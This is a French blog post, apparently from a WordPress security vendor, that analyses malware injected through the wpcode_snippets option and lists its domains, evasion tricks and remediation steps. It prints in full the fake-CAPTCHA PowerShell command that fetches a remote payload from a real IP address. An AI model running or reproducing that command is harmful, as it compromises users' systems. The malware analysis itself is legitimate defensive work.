Le mois dernier, j’ai découvert une campagne de malware basée sur JavaScript qui affecte des sites web compromis. Ce malware injecte un iframe en plein écran qui charge silencieusement du contenu depuis un domaine externe suspect. Ce type de script malveillant vise à forcer les utilisateurs à voir du contenu non sollicité, souvent pour des fraudes publicitaires, la génération de trafic ou des manipulations sociales trompeuses.
Ce que j’ai trouvé
Le but principal du script était d’infecter les systèmes en affichant de force un iframe en plein écran depuis un domaine suspect. La charge utile utilisait des techniques d’évasion avancées telles que l’anti-débogage, le détournement de fonctions et l’abus de localStorage pour limiter la visibilité et persister à travers les chargements de pages.
Indicateur de Compromission
L’infection a été trouvée intégrée dans la table de base de données wp_options de WordPress, sous l’option_name=wpcode_snippets. WPCode est un plugin WordPress utilisé pour ajouter du code personnalisé en toute sécurité, comme des scripts de suivi ou des extraits PHP, sans modifier les fichiers de thème. Cependant, les attaquants l’exploitent pour injecter du code malveillant car il leur permet d’exécuter des scripts cachés directement depuis le panneau d’administration.
Domaines Impliqués et Liste Noire
- capcloud[.]icu
- wallpaper-engine[.]pro
Le code malveillant est entièrement obfusqué, et une fois déobfusqué, nous pouvons voir ces domaines :
- wanderclean[.]com
- ampunshifu[.]org
- cdnstat[.]net
- adoodlz[.]com
- secretdinosaurcult[.]com
- weathersnoop[.]com
Analyse du Malware
Routine Anti-Débogage et Surcharge de la Console pour Cacher les Journaux
Le script commence par une fonction auto-invoquée qui installe des mesures anti-débogage en utilisant des boucles infinies et l’abus de constructeurs. Les appels de fonction sont destinés à interrompre l’exécution si un débogueur de navigateur est ouvert, bloquant ainsi les tentatives d’analyse inverse. Une autre tactique notable est la redéfinition des méthodes natives de la console pour supprimer la sortie.
En remplaçant toutes les fonctions de la console (comme log, warn, error, etc.), le script cache les journaux d’exécution, rendant plus difficile pour les propriétaires de sites ou les développeurs de détecter l’attaque en cours.
Injection d’Iframe Basée sur l’Agent Utilisateur
La charge utile cible sélectivement les utilisateurs Windows utilisant des navigateurs spécifiques. Cela garantit que l’attaque a plus de chances de réussir sur des plateformes populaires tout en minimisant la suspicion des appareils ou bots moins ciblés.
Chargeur d’Iframe en Plein Écran avec Contrôle du Nombre de Vues
L’injection principale se produit ici. Le script s’assure que l’iframe n’est affiché que jusqu’à trois fois en utilisant :
- localStorage[‘iframeViewCount’] et iframeShown
Après quatre minutes, l’iframe disparaît, et l’utilisateur est trompé en croyant qu’un téléchargement a réussi. C’est une pure tromperie, il n’y a pas de téléchargement réel ou d’action initiée par l’utilisateur.
Page de Vérification Cloudflare Fausse
En visitant hxxps://capcloud[.]icu/captcha[.]html, le site affiche une fausse page de vérification Cloudflare, imitant les vérifications légitimes de protection DDoS de Cloudflare. Une fois que l’utilisateur complète le faux CAPTCHA, la page lui demande d’exécuter une commande PowerShell suspecte sur sa machine locale. La commande est présentée sous un format déguisé, encourageant les utilisateurs à la copier et la coller dans PowerShell :
cmd.exe /c "start /min powershell -nop -ep Bypass -eC aQB3AHIAIAAiAGgAdAB0AHAAOgAvAC8AMQA4ADAALgAxADcAOAAuADEAOAA5AC4ANwAvAG0AeQBjAGEAcAB0AGMAaABhAC4AaAB0AG0AbAAiACAAfAAgAGkAZQB4AA=="
Cette commande est encodée en base64, et une fois décodée, elle instruit PowerShell de télécharger et d’exécuter silencieusement un fichier HTML distant hébergé sur une adresse IP suspecte :
iwr "http://180.178.189.7/mycaptcha.html"
Cela trompe les utilisateurs en les incitant à exécuter du code malveillant à distance sur leurs systèmes.
Impact du Malware
Si un utilisateur visite un site compromis sur Windows en utilisant Chrome, Firefox, Edge ou Opera, le script superpose de force un iframe en plein écran. Après plusieurs visites, l’iframe apparaît moins fréquemment, donnant l’illusion d’un comportement légitime. Ce comportement n’est pas seulement intrusif mais potentiellement dangereux. Ce malware trompe également les visiteurs en les incitant à exécuter une commande PowerShell malveillante, conduisant à la livraison de charges utiles à distance et à la compromission du système.
Cela met les visiteurs du site en grave danger, endommage la réputation du site web et peut entraîner une mise en liste noire par les fournisseurs de sécurité.
Étapes de Remédiation
- Mettre à Jour le Cœur et les Plugins WordPress : Assurez-vous que votre cœur WordPress, vos thèmes et vos plugins sont entièrement à jour. Les extensions vulnérables sont un point d’entrée courant pour les infections de ce type.
- Renforcer les Paramètres WordPress : Désactivez l’édition de fichiers dans le tableau de bord, imposez des mots de passe forts et limitez les utilisateurs administrateurs. Envisagez de désactiver tout plugin qui permet l’exécution de code arbitraire via des options ou des extraits.
- Implémenter un WAF : Un pare-feu d’application web peut détecter et bloquer les injections JavaScript, les requêtes de base de données malveillantes et les modifications non autorisées de votre contenu de site.
- Activer la Surveillance de l’Intégrité des Fichiers et de la Base de Données : Configurez des alertes automatiques pour détecter les modifications non autorisées dans votre système de fichiers et votre base de données. Cela aide à détecter les réinfections tôt.
Nos solutions pour une sécurité WordPress optimale
En tant qu’experts en réparation d’urgence WordPress, nous proposons une analyse complète, le nettoyage des malwares, la suppression des backdoors et le renforcement de la sécurité. Notre service de maintenance inclut l’installation d’antivirus, les mises à jour régulières, les sauvegardes et une surveillance 24/7, avec option d’hébergement Premium en France. Pour optimiser votre visibilité en ligne, nous offrons des services d’optimisation SEO technique, de stratégie éditoriale et de création de contenus ciblés.
Conclusion
Ce cas est un exemple clair de la manière dont les attaquants peuvent utiliser le stockage légitime des plugins (comme wpcode_snippets) comme un vecteur pour exécuter des attaques sophistiquées basées sur JavaScript. Les propriétaires de sites doivent toujours être proactifs en matière de sécurité. Conservez uniquement des plugins de confiance et à jour du dépôt WordPress et supprimez ceux inutilisés. Une solution de sécurité fiable comme notre pare-feu d’application web (WAF) peut grandement contribuer à identifier et à stopper ces types de menaces avant qu’elles n’affectent vos visiteurs ou n’endommagent votre marque.
Pour toute assistance, n’hésitez pas à me contacter. Je suis là pour vous aider à sécuriser votre site WordPress.
Benjamin Bueno, Expert en Sécurité WordPress chez SécuritéWP